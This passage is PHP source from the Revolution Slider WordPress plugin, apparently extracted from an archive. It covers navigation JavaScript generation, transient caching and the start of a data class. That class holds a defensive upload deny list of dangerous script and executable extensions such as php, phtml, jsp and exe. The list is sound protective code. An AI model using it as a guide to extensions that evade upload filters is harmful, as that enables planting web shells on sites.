''); //$keys['ajaxNonce'] = ($this->caching) ? array('v' => '##NONCE##', 'd' => '') : array('v' => wp_create_nonce('RevSlider_Front'), 'd' => ''); } if(!empty($keys)){ foreach($keys as $k => $v){ if(is_array($v['d'])){ if(in_array($v['v'], $v['d'], true)) continue; }else{ if($v['v'] === $v['d']) continue; } $html .= $this->JTA . RS_T5.$k.':'; $html .= $this->write_js_var($v['v']); $html .= ','."\n"; } } return $html; } /** * Generate the Navigation CSS of the chosen Navigations **/ public function get_navigation_css(){ $css = ''; $s = $this->slider; //shorten $lot = $s->get_param('type', 'standard'); $navs = array('arrows', 'bullets', 'tabs', 'thumbs'); $_all_navs = array_merge($navs, array('swipe', 'keyboard', 'mouse')); $found = false; foreach($_all_navs as $nav){ if($s->get_param(array('nav', $nav, 'set'), false) === true){ $found = true; break; } } if($lot === 'hero' || $found === false) return $css; $rs_nav = new RevSliderNavigation(); $all_navs = $rs_nav->get_all_navigations(); foreach($navs as $n){ if($s->get_param(array('nav', $n, 'set'), true) === true){ $nar = $s->get_param(array('nav', $n, 'style'), 'round'); if(!empty($all_navs)){ foreach($all_navs as $cur_nav){ if($cur_nav['id'] == $nar){ $css .= (isset($cur_nav['css'])) ? $rs_nav->add_placeholder_modifications($cur_nav, $s, $this)."\n" : ''; break; } } } } } $html = ''; if(trim($css) !== ''){ $html = $this->get_css_javascript($css); } return $html; } /** * Generate the Navigation JavaScript **/ public function js_get_navigation(){ $h = array(); $s = $this->slider; //shorten $lot = $s->get_param('type', 'standard'); $navs = array('arrows', 'bullets', 'tabs', 'thumbs'); $_all_navs = array_merge($navs, array('swipe', 'keyboard', 'mouse')); $found = false; foreach($_all_navs as $nav){ if($s->get_param(array('nav', $nav, 'set'), false) === true){ $found = true; break; } } $msn = $s->get_param(array('nav', 'mouse', 'set'), false); $tod = $s->get_param(array('nav', 'swipe', 'setOnDesktop'), false); if($msn === 'on' || $msn === 'carousel' || $tod === true) $found = true; if($lot === 'hero' || $found === false){ //we still need onHoverStop $ohs = $s->get_param(array('general', 'slideshow', 'stopOnHover'), true); if($ohs === false) $h['onHoverStop'] = false; }else{ $rs_nav = new RevSliderNavigation(); $all_navs = $rs_nav->get_all_navigations(); //KEYBOARD $kbn = $s->get_param(array('nav', 'keyboard', 'set'), false); $kbd = $s->get_param(array('nav', 'keyboard', 'direction'), 'horizontal'); $msr = $s->get_param(array('nav', 'mouse', 'reverse'), false); $msst = $s->get_param(array('nav', 'mouse', 'target'), 'window'); $mstr = $s->get_param(array('nav', 'mouse', 'threshold'), 50); $mswu = $s->get_param(array('nav', 'mouse', 'viewport'), 50); $mscd = $s->get_param(array('nav', 'mouse', 'calldelay'), '1000ms'); $ohs = $s->get_param(array('general', 'slideshow', 'stopOnHover'), true); if($kbn === true) $h['keyboardNavigation'] = true; if($kbd !== 'horizontal')$h['keyboard_direction'] = $kbd; if($msn !== 'off') $h['mouseScrollNavigation'] = $msn; if($msr !== 'default') $h['mouseScrollReverse'] = $msr; if($msst !== 'window') $h['target'] = $msst; if($mstr !== 50) $h['threshold'] = $mstr; if($mswu !== 50) $h['wheelViewPort'] = $mswu; if($mscd !== '1000ms') $h['wheelCallDelay'] = $mscd; if($ohs === false) $h['onHoverStop'] = false; //TOUCH $ctom = $s->get_param(array('nav', 'swipe', 'setMobileCarousel'), true); $ctod = $s->get_param(array('nav', 'swipe', 'setDesktopCarousel'), true); $te = ($tod === true) ? true : $s->get_param(array('nav', 'swipe', 'set'), false); if($te === true || ($lot === 'carousel' && ($ctod===false || $ctom===false))){ $sth = intval($s->get_param(array('nav', 'swipe', 'velocity'), 75)); $smt = intval($s->get_param(array('nav', 'swipe', 'minTouch'), '1')); $sd = $s->get_param(array('nav', 'swipe', 'direction'), 'horizontal'); $dbv = $s->get_param(array('nav', 'swipe', 'blockDragVertical'), false); $h['touch'] = array(); $h['touch']['touchenabled'] = $te; if($tod === true) $h['touch']['touchOnDesktop'] = true; if($sth !== 75) $h['touch']['swipe_threshold'] = $sth; if($smt !== 1) $h['touch']['swipe_min_touches'] = $smt; if($sd !== 'horizontal') $h['touch']['swipe_direction'] = $sd; if($dbv !== false) $h['touch']['drag_block_vertical'] = $dbv; if($lot === 'carousel' && $ctod===false) $h['touch']['desktopCarousel'] = false; if($lot === 'carousel' && $ctom===false) $h['touch']['mobileCarousel'] = false; } //NAVIGATION $defaults = array( 'arrows' => array( 'tmp' => '' ), 'bullets' => array( 'tmp' => '', 'space' => 5 ), 'thumbs' => array( 'tmp' => '', 'space' => 2, 'wrapper_padding' => 2 ), 'tabs' => array( 'tmp' => '', 'space' => 0, 'wrapper_padding' => 10 ) ); foreach($navs as $n){ $as = $s->get_param(array('nav', $n, 'set'), false); if($as === true){ $h[$n] = array(); $h[$n]['enable'] = $as; $nar = $s->get_param(array('nav', $n, 'style'), 'round'); $tmp = ''; if(!empty($all_navs)){ foreach($all_navs as $cur_nav){ if($cur_nav['id'] == $nar){ $nar = $cur_nav['handle']; $tmp = $this->get_val($cur_nav, 'markup', $tmp); break; } } } $tmp = preg_replace("/\r|\n/", "", $tmp); $tmp = str_replace('"', '\\"', $tmp); $hom = $s->get_param(array('nav', $n, 'hideUnder'), false); $ho = $s->get_param(array('nav', $n, 'hideOver'), false); $ao = $s->get_param(array('nav', $n, 'alwaysOn'), true); $anim = $s->get_param(array('nav', $n, 'anim'), 'fade'); $aspeed = $s->get_param(array('nav', $n, 'animSpeed'), '1000ms'); $adelay = $s->get_param(array('nav', $n, 'animDelay'), '1000ms'); $rtl = $s->get_param(array('nav', $n, 'rtl'), false); if($tmp !== $defaults[$n]['tmp']) $h[$n]['tmp'] = $tmp; if($nar !== '') $h[$n]['style'] = $nar; if($hom === true) $h[$n]['hide_onmobile'] = $hom; if($hom === true){ $hu = $s->get_param(array('nav', $n, 'hideUnderLimit'), 0); if(!in_array($hu, array(0, '0', '0px'), true)) $h[$n]['hide_under'] = $hu; } if($ho === true){ $hol = $s->get_param(array('nav', $n, 'hideOverLimit'), 9999); if(!in_array($hol, array(9999, '9999', '9999px'), true)) $h[$n]['hide_over'] = $hol; } if($ao === false) $h[$n]['hide_onleave'] = true; if($ao === false){ $hd = $s->get_param(array('nav', $n, 'hideDelay'), 200); $hdm = $s->get_param(array('nav', $n, 'hideDelayMobile'), 1200); if(!in_array($hd, array(200, '200', '200px'), true)) $h[$n]['hide_delay'] = $hd; if(!in_array($hdm, array(1200, '1200', '1200px'), true)) $h[$n]['hide_delay_mobile'] = $hdm; } if($rtl === true) $h[$n]['rtl'] = true; if($anim !=='fade') $h[$n]['anim'] = $anim; if($aspeed !=='1000ms') $h[$n]['animSpeed'] = $aspeed; if($adelay !=='1000ms') $h[$n]['animDelay'] = $adelay; //left only at arrows if($n === 'arrows'){ $alc = (in_array($s->get_param(array('nav', $n, 'left', 'align'), 'slider'), array('layergrid', 'grid'), true)) ? 'layergrid' : 'slider'; $alha = $s->get_param(array('nav', $n, 'left', 'horizontal'), 'left'); $alva = $s->get_param(array('nav', $n, 'left', 'vertical'), 'center'); $alho = $s->get_param(array('nav', $n, 'left', 'offsetX'), 20); $alvo = $s->get_param(array('nav', $n, 'left', 'offsetY'), 0); $anil = $s->get_param(array('nav', $n, 'left', 'anim'), 'fade'); $arc = (in_array($s->get_param(array('nav', $n, 'right', 'align'), 'slider'), array('layergrid', 'grid'), true)) ? 'layergrid' : 'slider'; $arha = $s->get_param(array('nav', $n, 'right', 'horizontal'), 'right'); $arva = $s->get_param(array('nav', $n, 'right', 'vertical'), 'center'); $arho = $s->get_param(array('nav', $n, 'right', 'offsetX'), 20); $arvo = $s->get_param(array('nav', $n, 'right', 'offsetY'), 0); $anir = $s->get_param(array('nav', $n, 'right', 'anim'), 'fade'); $h[$n]['left'] = array();//left only at arrows $h[$n]['right'] = array(); //right only at arrows if($anil !=='fade') $h[$n]['left']['anim'] = $anil; if($anir !=='fade') $h[$n]['right']['anim'] = $anir; if($alc !== 'slider') $h[$n]['left']['container'] = $alc; if($alha !== 'left') $h[$n]['left']['h_align'] = $alha; if($alva !== 'center') $h[$n]['left']['v_align'] = $alva; if(!in_array($alho, array(20, '20', '20px'), true)) $h[$n]['left']['h_offset'] = intval(str_replace('px', '', $alho)); if(!in_array($alvo, array(0, '0', '0px'), true)) $h[$n]['left']['v_offset'] = intval(str_replace('px', '', $alvo)); if($arc !== 'slider') $h[$n]['right']['container'] = $arc; if($arha !== 'right') $h[$n]['right']['h_align'] = $arha; if($arva !== 'center') $h[$n]['right']['v_align'] = $arva; if(!in_array($arho, array(20, '20', '20px'), true)) $h[$n]['right']['h_offset'] = intval(str_replace('px', '', $arho)); if(!in_array($arvo, array(0, '0', '0px'), true)) $h[$n]['right']['v_offset'] = intval(str_replace('px', '', $arvo)); }else{ //these are not in left/right, but directly added $arha = $s->get_param(array('nav', $n, 'horizontal'), 'center'); $arva = $s->get_param(array('nav', $n, 'vertical'), 'bottom'); $arho = $s->get_param(array('nav', $n, 'offsetX'), 20); $arvo = $s->get_param(array('nav', $n, 'offsetY'), 0); $dir = $s->get_param(array('nav', $n, 'direction'), 'horizontal'); $space = $s->get_param(array('nav', $n, 'space'), $defaults[$n]['space']); if($arha !== 'center') $h[$n]['h_align'] = $arha; if($arva !== 'bottom') $h[$n]['v_align'] = $arva; if(!in_array($arho, array(0, '0', '0px'), true)) $h[$n]['h_offset'] = intval(str_replace('px', '', $arho)); if(!in_array($arvo, array(20, '20', '20px'), true)) $h[$n]['v_offset'] = intval(str_replace('px', '', $arvo)); if($dir !== 'horizontal') $h[$n]['direction'] = $dir; //these exist not in arrows at all if(!in_array($space, array($defaults[$n]['space'], (string)$defaults[$n]['space'], $defaults[$n]['space'].'px'), true)) $h[$n]['space'] = $space; //only exist in thumbs and tabs if(in_array($n, array('thumbs', 'tabs'), true)){ $width = $s->get_param(array('nav', $n, 'width'), 100); $height = $s->get_param(array('nav', $n, 'height'), 50); $mw = $s->get_param(array('nav', $n, 'widthMin'), 100); $wp = $s->get_param(array('nav', $n, 'padding'), $defaults[$n]['wrapper_padding']); $wc = $s->get_param(array('nav', $n, 'wrapperColor'), 'transparent'); $va = $s->get_param(array('nav', $n, 'amount'), 5); $span = $s->get_param(array('nav', $n, 'spanWrapper'), false); $pos = $s->get_param(array('nav', $n, 'innerOuter'), 'inner'); $mhoff = $s->get_param(array('nav', $n, 'mhoffset'), 0); $mvoff = $s->get_param(array('nav', $n, 'mvoffset'), 0); if(!in_array($width, array(100, '100', '100px'), true)) $h[$n]['width'] = $width; if(!in_array($height, array(50, '50', '50px'), true)) $h[$n]['height'] = $height; if(!in_array($mw, array(100, '100', '100px'), true)) $h[$n]['min_width'] = $mw; if(!in_array($wp, array($defaults[$n]['wrapper_padding'], (string)$defaults[$n]['wrapper_padding'], $defaults[$n]['wrapper_padding'].'px'), true)) $h[$n]['wrapper_padding'] = $wp; if(strtolower($wc) !== '#transparent') $h[$n]['wrapper_color'] = $wc; if(!in_array($va, array(5, '5'), true)) $h[$n]['visibleAmount'] = $va; if($span === true) $h[$n]['span'] = $span; if($mhoff!==0) $h[$n]['mhoff'] = $mhoff; if($mvoff!==0) $h[$n]['mvoff'] = $mvoff; if($pos !== 'inner') $h[$n]['position'] = $pos; if($pos === 'inner'){ $arc = (in_array($s->get_param(array('nav', $n, 'align'), 'slider'), array('layergrid', 'grid'), true)) ? 'layergrid' : 'slider'; if($arc !== 'slider') $h[$n]['container'] = $arc; } }else{ //only write in bullets like this $arc = (in_array($s->get_param(array('nav', $n, 'align'), 'slider'), array('layergrid', 'grid'), true)) ? 'layergrid' : 'slider'; if($arc !== 'slider') $h[$n]['container'] = $arc; } } } } } $html = ''; if(!empty($h)){ $html .= $this->JTA . RS_T5.'navigation: {'."\n"; $ff = true; foreach($h as $key => $value){ $html .= ($ff === true) ? '' : ','."\n"; if($key == 'thumbs') $key = 'thumbnails'; //change thumb to thumbnail here $html .= $this->JTA . RS_T6.$key.':'; if(is_array($value)){ $html .= ' {'."\n"; if(!empty($value)){ $f = true; foreach($value as $k => $v){ $html .= ($f === true) ? '' : ','."\n"; $html .= $this->JTA . RS_T7.$k.':'; if(is_array($v)){ $html .= ' {'."\n"; if(!empty($v)){ $fff = true; foreach($v as $kk => $vv){ $html .= ($fff === true) ? '' : ','."\n"; $html .= $this->JTA . RS_T8.$kk.':'; $html .= $this->write_js_var($vv); $fff = false; } } $html .= "\n".$this->JTA . RS_T7.'}'; }else{ $html .= $this->write_js_var($v); } $f = false; } } $html .= "\n".$this->JTA . RS_T6.'}'; }else{ $html .= $this->write_js_var($value); } $ff = false; } $html .= "\n".$this->JTA . RS_T5.'},'."\n"; } return $html; } /** * Adds the Slider content and the additional settings to the transients * @since: 6.4.6 **/ public function add_slider_transient($transient, $content){ $sid = $this->slider->get_id(); $cache = RevSliderGlobals::instance()->get('RevSliderCache'); if($this->ajax_loaded !== true && !$this->get_markup_export()){ if($this->caching){ global $revslider_fonts; //if doing transient, remove the changes here $revslider_fonts again! $temp = $revslider_fonts; $cache->add_addition('action', 'wp_footer', $this->print_clean_font_import()); $revslider_fonts = $temp; } } $cache->set_full_transient($transient, $sid, $content); } /** * Check if a layer frame is triggered by any other layer * @since: 6.0 **/ public function layer_frame_triggered($uid, $frame){ $ret = false; $uid = (string)$uid; $uid = ($this->is_static) ? 'static-'.$uid : $uid; if($this->is_static){ //we have to push all layers of all slides $layers = array(); $slides = $this->get_current_slides(); $static_slide = $this->get_static_slide(); foreach($slides as $slide){ $slide_layers = $slide->get_layers(); if(!empty($slide_layers)){ foreach($slide_layers as $sl){ $layers[] = $sl; } } } if(!empty($static_slide)){ $slide_layers = $static_slide->get_layers(); if(!empty($slide_layers)){ foreach($slide_layers as $sl){ $this->set_val($sl, 'static_layer', true); $layers[] = $sl; } } } }else{ $layers = $this->get_layers(); } if(empty($layers)) return $ret; foreach($layers as $layer){ $actions = $this->get_val($layer, array('actions', 'action'), array()); if(empty($actions)) continue; $static_layer = $this->get_val($layer, 'static_layer', false); foreach($actions as $action){ $layer_target = (string)$this->get_val($action, 'layer_target', ''); $layer_target = ($static_layer === true) ? 'static-'.$layer_target : $layer_target; if($layer_target !== $uid) continue; $act = $this->get_val($action, 'action', ''); if($act === 'next_frame' || $act === 'prev_frame'){ $ret = true; }elseif($act === 'start_frame' && $frame == $this->get_val($action, 'gotoframe', '')){ $ret = true; }elseif($act === 'start_in' && $frame === 'frame_1'){ $ret = true; }elseif($act === 'start_out' && $frame === 'frame_999'){ $ret = true; }elseif($act === 'toggle_layer' && in_array($frame, array('frame_1', 'frame_999'))){ $ret = true; }elseif($act === 'toggle_frames' && ($frame == $this->get_val($action, 'gotoframeM', '') || $frame == $this->get_val($action, 'gotoframeN', ''))){ $ret = true; } if($ret === true) break; } } return $ret; } /** * Check if shortcodes exists in the content * @since: 5.0 */ public static function check_for_shortcodes($mid_content){ if($mid_content !== null){ if(has_shortcode($mid_content, 'gallery')){ preg_match('/\[gallery.*ids=.(.*).\]/', $mid_content, $img_ids); if(isset($img_ids[1])){ if($img_ids[1] !== '') return explode(',', $img_ids[1]); } } } return false; } /** * return the responsive sizes * @since: 5.0 **/ public function get_responsive_size($slider){ $global = $this->get_global_settings(); $csn = $slider->slider->get_param(array('size', 'custom', 'n'), false); $cst = $slider->slider->get_param(array('size', 'custom', 't'), false); $csi = $slider->slider->get_param(array('size', 'custom', 'm'), false); $w = $slider->slider->get_param(array('size', 'width', 'd'), 1240); $h = $slider->slider->get_param(array('size', 'height', 'd'), 1240); $r = $this->get_val($global, array('size', 'desktop'), 1240); $c = $this->slider->get_param(array('size', 'editorCache', 'd'), false); if($csn == true || $cst == true || $csi == true){ $d = $w; $w .= ','; $w .= ($csn == true) ? $slider->slider->get_param(array('size', 'width', 'n'), 1024) : $d; $d = ($csn == true) ? $slider->slider->get_param(array('size', 'width', 'n'), 1024) : $d; $w .= ','; $w .= ($cst == true) ? $slider->slider->get_param(array('size', 'width', 't'), 778) : $d; $d = ($cst == true) ? $slider->slider->get_param(array('size', 'width', 't'), 778) : $d; $w .= ','; $w .= ($csi == true) ? $slider->slider->get_param(array('size', 'width', 'm'), 480) : $d; $d = $h; $h .= ','; $h .= ($csn == true) ? $slider->slider->get_param(array('size', 'height', 'n'), 1024) : $d; $d = ($csn == true) ? $slider->slider->get_param(array('size', 'height', 'n'), 1024) : $d; $h .= ','; $h .= ($cst == true) ? $slider->slider->get_param(array('size', 'height', 't'), 778) : $d; $d = ($cst == true) ? $slider->slider->get_param(array('size', 'height', 't'), 778) : $d; $h .= ','; $h .= ($csi == true) ? $slider->slider->get_param(array('size', 'height', 'm'), 480) : $d; $d = $r; $r .= ','; $r .= ($csn == true) ? $this->get_val($global, array('size', 'notebook'), 1024) : $d; $d = ($csn == true) ? $this->get_val($global, array('size', 'notebook'), 1024) : $d; $r.= ','; $r .= ($cst == true) ? $this->get_val($global, array('size', 'tablet'), 778) : $d; $d = ($cst == true) ? $this->get_val($global, array('size', 'tablet'), 778) : $d; $r.= ','; $r .= ($csi == true) ? $this->get_val($global, array('size', 'mobile'), 480) : $d; if($c !== false){ $d = $c; $c .= ','; $c .= ($csn == true) ? $slider->slider->get_param(array('size', 'editorCache', 'n'), 1024) : $d; $d = ($csn == true) ? $slider->slider->get_param(array('size', 'editorCache', 'n'), 1024) : $d; $c .= ','; $c .= ($cst == true) ? $slider->slider->get_param(array('size', 'editorCache', 't'), 778) : $d; $d = ($cst == true) ? $slider->slider->get_param(array('size', 'editorCache', 't'), 778) : $d; $c .= ','; $c .= ($csi == true) ? $slider->slider->get_param(array('size', 'editorCache', 'm'), 480) : $d; } }else{ $r .= ','; $r .= $this->get_val($global, array('size', 'notebook'), 1024); $r .= ','; $r .= $this->get_val($global, array('size', 'tablet'), 778); $r .= ','; $r .= $this->get_val($global, array('size', 'mobile'), 480); } return array( 'level' => str_replace('px', '', $r), 'height' => str_replace('px', '', $h), 'width' => str_replace('px', '', $w), 'cacheSize' => str_replace('px', '', $c) ); } /** * strip suffixes from number values for accurate comparisons * @since: 6.0 */ public function strip_suffix_val($val){ if(!is_string($val)) return $val; $val = trim($val); $len = strlen($val); if($len < 2) return $val; $suffix = false; $strips = array('ms', 'px', '%', 'deg'); foreach($strips as $px){ $chars = strlen($px); if($chars > $len) continue; if(strpos($val, $px, $len - $chars) !== false){ $suffix = $chars; break; } } if($suffix !== false){ $num = substr($val, 0, -$suffix); if(is_numeric($num)) $val = $num; } return $val; } /** * strip suffixes from number values for accurate comparisons * @since: 6.0 */ public function strip_suffix($val){ if(is_object($val)) $val = (array)$val; if(is_array($val)){ foreach($val as $key => $v){ if(is_array($v) || is_object($v)){ $val[$key] = $this->strip_suffix($v); }else{ $val[$key] = $this->strip_suffix_val($v); } } }else{ $val = $this->strip_suffix_val($val); } return $val; } /** * shortden values for output * @since: 6.0.0 **/ public function shorten($s, $f, $t){ return str_replace($f, $t, $s); } /** * perform checks to see how to write a JavaScript variable **/ public function write_js_var($v, $pp = '"'){ if(is_bool($v)) $v = ($v) ? 'true' : 'false'; return (is_numeric($v) || substr($v, 0, 1) === '[' || in_array($v, array('true', 'false'))) ? $v : $pp.$v.$pp; } } includes/cache.class.php000060400000013426151724235750011247 0ustar00 * @link https://www.themepunch.com/ * @copyright 2022 ThemePunch */ if(!defined('ABSPATH')) exit(); class RevSliderCache extends RevSliderFunctions { public $cache_enabled = false; /** * holds transient additions that the slider is using **/ private $cache_additions = array('action' => array(), 'filter' => array(), 'html' => array(), 'special' => array()); private $output_html = array(); public function __construct(){ $globals = $this->get_global_settings(); $this->cache_enabled = ($this->_truefalse($this->get_val($globals, 'internalcaching')) === true) ? true : false; } public function is_enabled(){ return $this->cache_enabled; } /** * define which slider types are supported * no social streams are supported **/ public function is_supported_type($type){ return (in_array($type, array('post', 'posts', 'specific_posts', 'specific_post', 'current_post', 'woocommerce', 'woo', 'gallery'), true)) ? true : false; } public function clear_all_transients(){ global $wpdb; $return = $wpdb->query("DELETE FROM ". $wpdb->prefix . 'options' ." WHERE `option_name` LIKE '_transient_revslider_slider_%'"); $wpdb->query("DELETE FROM ". $wpdb->prefix . 'options' ." WHERE `option_name` LIKE '_transient_timeout_revslider_slider_%'"); return $return; } /** * clears all transients that are from a certain slider * @since: 6.4.7 **/ public function clear_transients_by_slider($sid){ global $wpdb; $return = false; $sid = intval($sid); if($sid > 0){ $return = $wpdb->query($wpdb->prepare("DELETE FROM ". $wpdb->prefix . 'options' ." WHERE `option_name` LIKE '_transient_revslider_slider_%d%%'", $sid)); $wpdb->query($wpdb->prepare("DELETE FROM ". $wpdb->prefix . 'options' ." WHERE `option_name` LIKE '_transient_timeout_revslider_slider_%d%%'", $sid)); } return $return; } public function get_additions(){ return $this->cache_additions; } public function add_addition($type, $name = false, $output = '', $priority = 10){ if($output === '') return; if(!isset($this->cache_additions[$type])) $this->cache_additions[$type] = array(); if($name === false){ $this->cache_additions[$type][] = $output; }else{ if(!isset($this->cache_additions[$type][$name])) $this->cache_additions[$type][$name] = array(); if($type === 'special'){ $this->cache_additions[$type][$name][] = $output; }else{ $this->cache_additions[$type][$name][] = array( 'html' => $output, 'priority' => $priority ); } } } /** * replace HTML placeholders with their corresponding value **/ public function do_html_changes($html){ //$html = str_replace('##NONCE##', wp_create_nonce('RevSlider_Front'), $html); return $html; } /** * this will push all the additions to the output that can not be cached * @since: 6.4.7 **/ public function do_additions($additions, $output){ $t_actions = $this->get_val($additions, 'action', array()); if(!empty($t_actions)){ foreach($t_actions as $_action => $t_a){ if(!empty($t_a)){ foreach($t_a as $t_sa){ if(!isset($this->output_html[$_action])) $this->output_html[$_action] = array(); $this->output_html[$_action][] = $t_sa; add_action($_action, array($this, 'print_addition')); } } } } $t_filters = $this->get_val($additions, 'filter', array()); if(!empty($t_filters)){ foreach($t_filters as $_filter => $t_a){ if(!empty($t_a)){ foreach($t_a as $t_sa){ if(!isset($this->output_html[$_filter])) $this->output_html[$_filter] = array(); $this->output_html[$_filter][] = $t_sa; add_filter($_filter, array($this, 'print_addition')); } } } } $t_special = $this->get_val($additions, 'special', array()); if(!empty($t_special)){ $_rs_css_collection = $this->get_val($t_special, 'rs_css_collection', array()); if(!empty($_rs_css_collection)){ global $rs_css_collection; $rs_css_collection = $_rs_css_collection; } $_font_var = $this->get_val($t_special, 'font_var', array()); if(!empty($_font_var)){ foreach($_font_var as $fw){ global $$fw; $$fw = true; } } } do_action('revslider_do_cache_additions', $additions, $output); } public function set_full_transient($transient, $sid, $content){ $add = array( 'html' => $content, 'addition' => $this->get_additions() ); $add = json_encode($add); set_transient($transient, $add, 60*60*24*7); $this->cache_additions = array(); } /** * prints the additions html when the filter/action is called * @since: 6.4.7 **/ public function print_addition(){ $html = $this->get_val($this->output_html, current_filter()); if(is_array($html)){ if(!empty($html)){ usort($html, array($this, 'sort_by_priority')); echo (current_filter() === 'wp_print_footer_scripts') ? ''."\n" : ''; } }else{ echo $html; } } /** * check delete post based caches only! **/ public function check_for_post_transient_deletion(){ $post_types = array('post', 'posts', 'specific_posts', 'specific_post', 'current_post', 'woocommerce', 'woo'); foreach($post_types as $k => $pt){ $post_types[$k] = '"sourcetype":"'.$pt.'"'; } $_slider = RevSliderGlobals::instance()->get('RevSliderSlider'); $slider = $_slider->get_slider_by_param_string($post_types, true); //clear cache for all of these sliders if(!empty($slider) && is_array($slider)){ foreach($slider as $s){ $this->clear_transients_by_slider($this->get_val($s, 'id')); } } } public function sort_by_priority($a, $b) { return $a['priority'] - $b['priority']; } }includes/data.class.php000060400000230357151724235750011121 0ustar00 * @link https://www.themepunch.com/ * @copyright 2022 ThemePunch */ if(!defined('ABSPATH')) exit(); define('RS_T', ' '); define('RS_T2', ' '); define('RS_T3', ' '); define('RS_T4', ' '); define('RS_T5', ' '); define('RS_T6', ' '); define('RS_T7', ' '); define('RS_T8', ' '); define('RS_T9', ' '); define('RS_T10', ' '); define('RS_T11', ' '); class RevSliderData { const CACHE_GROUP = 'revslider'; const CACHE_NS_KEY = 'revslider_namespace_key'; public $css; public $bad_extensions = array( 'php', 'php2', 'php3', 'php4', 'php5', 'php6', 'php7', 'phps', 'phps', 'pht', 'phtm', 'phtml', 'pgif', 'shtml', 'htaccess', 'phar', 'inc', 'hphp', 'ctp', 'module', 'asp', 'aspx', 'config', 'ashx', 'asmx', 'aspq', 'axd', 'cshtm', 'cshtml', 'rem', 'soap', 'vbhtm', 'vbhtml', 'asa', 'cer', 'shtml', 'jsp', 'jspx', 'jsw', 'jsv', 'jspf', 'wss', 'do', 'action', 'cfm, .cfml, .cfc, .dbm', 'swf', 'pl', 'cgi', 'yaws', 'zip', 'rar', '7z', 'html', 'htm', 'js', 'exe', 'bat', 'cmd', 'vbs', 'msi', 'reg', 'scr', 'com', 'pif', 'jsp', 'asp', 'aspx', 'cgi', 'pl', 'swf', 'htaccess', 'sh', 'py', 'rb', 'ps1', 'psm1', 'jar', 'jspx', 'xhtml', 'jspx', 'shtml', 'ini', 'dll', 'sys', 'jspx' ); /** * wp cache does not support group delete * this var hold the num to generate unique keys * when data changed - key increased and invalidate old data * @var int */ protected $_cache_ns_key; /** * @var array hold revslider tables names */ protected $_rs_tables; /** * @var string */ protected $_rs_tables_pattern; public function __construct() { $this->_rs_tables = RevSliderGlobals::instance()->get_rs_tables(); $this->_rs_tables_pattern = "/^\s*(insert|update|replace|delete).+(".implode('|', $this->_rs_tables).")/i"; $this->_cache_ns_key = wp_cache_get(self::CACHE_NS_KEY, self::CACHE_GROUP); if (false === $this->_cache_ns_key) { $this->_cache_ns_key = 1; wp_cache_set(self::CACHE_NS_KEY, $this->_cache_ns_key, self::CACHE_GROUP); } $query_filter = RevSliderGlobals::instance()->get('rs_data_query_fiter'); if (!$query_filter) { add_filter('query', array($this, 'add_query_fiter'), 10, 1); RevSliderGlobals::instance()->add('rs_data_query_fiter', true); } } /** * invalidate group cache if we modify rs data * @param string $sql * @return string */ public function add_query_fiter($sql) { if (preg_match($this->_rs_tables_pattern, $sql)) { $this->invalidate_group_cache(); } return $sql; } /** * invalidate group keys by increase namespace key */ public function invalidate_group_cache() { $this->_cache_ns_key += 1; wp_cache_set(self::CACHE_NS_KEY, $this->_cache_ns_key, self::CACHE_GROUP); } /** * @param string $fname cache key name ( usually function name ) * @param mixed $data additional cache key data ( usually functions parameters ) * @return string */ public function get_wp_cache_key($fname, $data){ return sprintf('%s_%s_%s_%s', get_class($this), $fname, $this->_cache_ns_key, md5(serialize($data))); } /** * try to load cached result * * @param string $method * @param array $args * @return mixed */ public function get_wp_cache($method, $args = array()) { if (!is_array($args)) $args = array($args); //disable cache for admin if (is_admin()) return call_user_func_array(array($this, $method), $args); $cache_key = $this->get_wp_cache_key($method, $args); $data = wp_cache_get($cache_key, self::CACHE_GROUP); if (false === $data) { $data = call_user_func_array(array($this, $method), $args); wp_cache_set($cache_key, $data, self::CACHE_GROUP); } return $data; } /** * clear cached value * * @param string $method * @param array $args */ public function delete_wp_cache($method, $args = array()) { if (!is_array($args)) $args = array($args); $cache_key = $this->get_wp_cache_key($method, $args); wp_cache_delete($cache_key, self::CACHE_GROUP); } /** * flush all cache */ public function flush_wp_cache() { wp_cache_flush(); } /** * get cache attempt of _get_font_familys * @return mixed */ public function get_font_familys(){ return $this->get_wp_cache('_get_font_familys'); } /** * get all font family types * before: RevSliderOperations::getArrFontFamilys() */ protected function _get_font_familys(){ $fonts = array(); //add custom added fonts $gs = $this->get_global_settings(); $cfl = $this->get_val($gs, 'customFontList', array()); if(!empty($cfl) && is_array($cfl)){ foreach($cfl as $_cfl){ $fonts[] = array( 'type' => 'custom', 'version' => __('Custom Fonts', 'revslider'), 'url' => $this->get_val($_cfl, 'url'), 'frontend' => $this->_truefalse($this->get_val($_cfl, 'frontend', false)), 'backend' => $this->_truefalse($this->get_val($_cfl, 'backend', true)), 'label' => $this->get_val($_cfl, 'family'), 'variants' => explode(',', $this->get_val($_cfl, 'weights')), ); } } //Web Safe Fonts // GOOGLE Loaded Fonts $fonts[] = array('type' => 'websafe', 'version' => __('Loaded Google Fonts', 'revslider'), 'label' => 'Dont Show Me'); //Serif Fonts $fonts[] = array('type' => 'websafe', 'version' => __('Serif Fonts', 'revslider'), 'label' => 'Georgia, serif'); $fonts[] = array('type' => 'websafe', 'version' => __('Serif Fonts', 'revslider'), 'label' => '\'Palatino Linotype\', \'Book Antiqua\', Palatino, serif'); $fonts[] = array('type' => 'websafe', 'version' => __('Serif Fonts', 'revslider'), 'label' => '\'Times New Roman\', Times, serif'); //Sans-Serif Fonts $fonts[] = array('type' => 'websafe', 'version' => __('Sans-Serif Fonts', 'revslider'), 'label' => 'Arial, Helvetica, sans-serif'); $fonts[] = array('type' => 'websafe', 'version' => __('Sans-Serif Fonts', 'revslider'), 'label' => '\'Arial Black\', Gadget, sans-serif'); $fonts[] = array('type' => 'websafe', 'version' => __('Sans-Serif Fonts', 'revslider'), 'label' => '\'Comic Sans MS\', cursive, sans-serif'); $fonts[] = array('type' => 'websafe', 'version' => __('Sans-Serif Fonts', 'revslider'), 'label' => 'Impact, Charcoal, sans-serif'); $fonts[] = array('type' => 'websafe', 'version' => __('Sans-Serif Fonts', 'revslider'), 'label' => '\'Lucida Sans Unicode\', \'Lucida Grande\', sans-serif'); $fonts[] = array('type' => 'websafe', 'version' => __('Sans-Serif Fonts', 'revslider'), 'label' => 'Tahoma, Geneva, sans-serif'); $fonts[] = array('type' => 'websafe', 'version' => __('Sans-Serif Fonts', 'revslider'), 'label' => '\'Trebuchet MS\', Helvetica, sans-serif'); $fonts[] = array('type' => 'websafe', 'version' => __('Sans-Serif Fonts', 'revslider'), 'label' => 'Verdana, Geneva, sans-serif'); //Monospace Fonts $fonts[] = array('type' => 'websafe', 'version' => 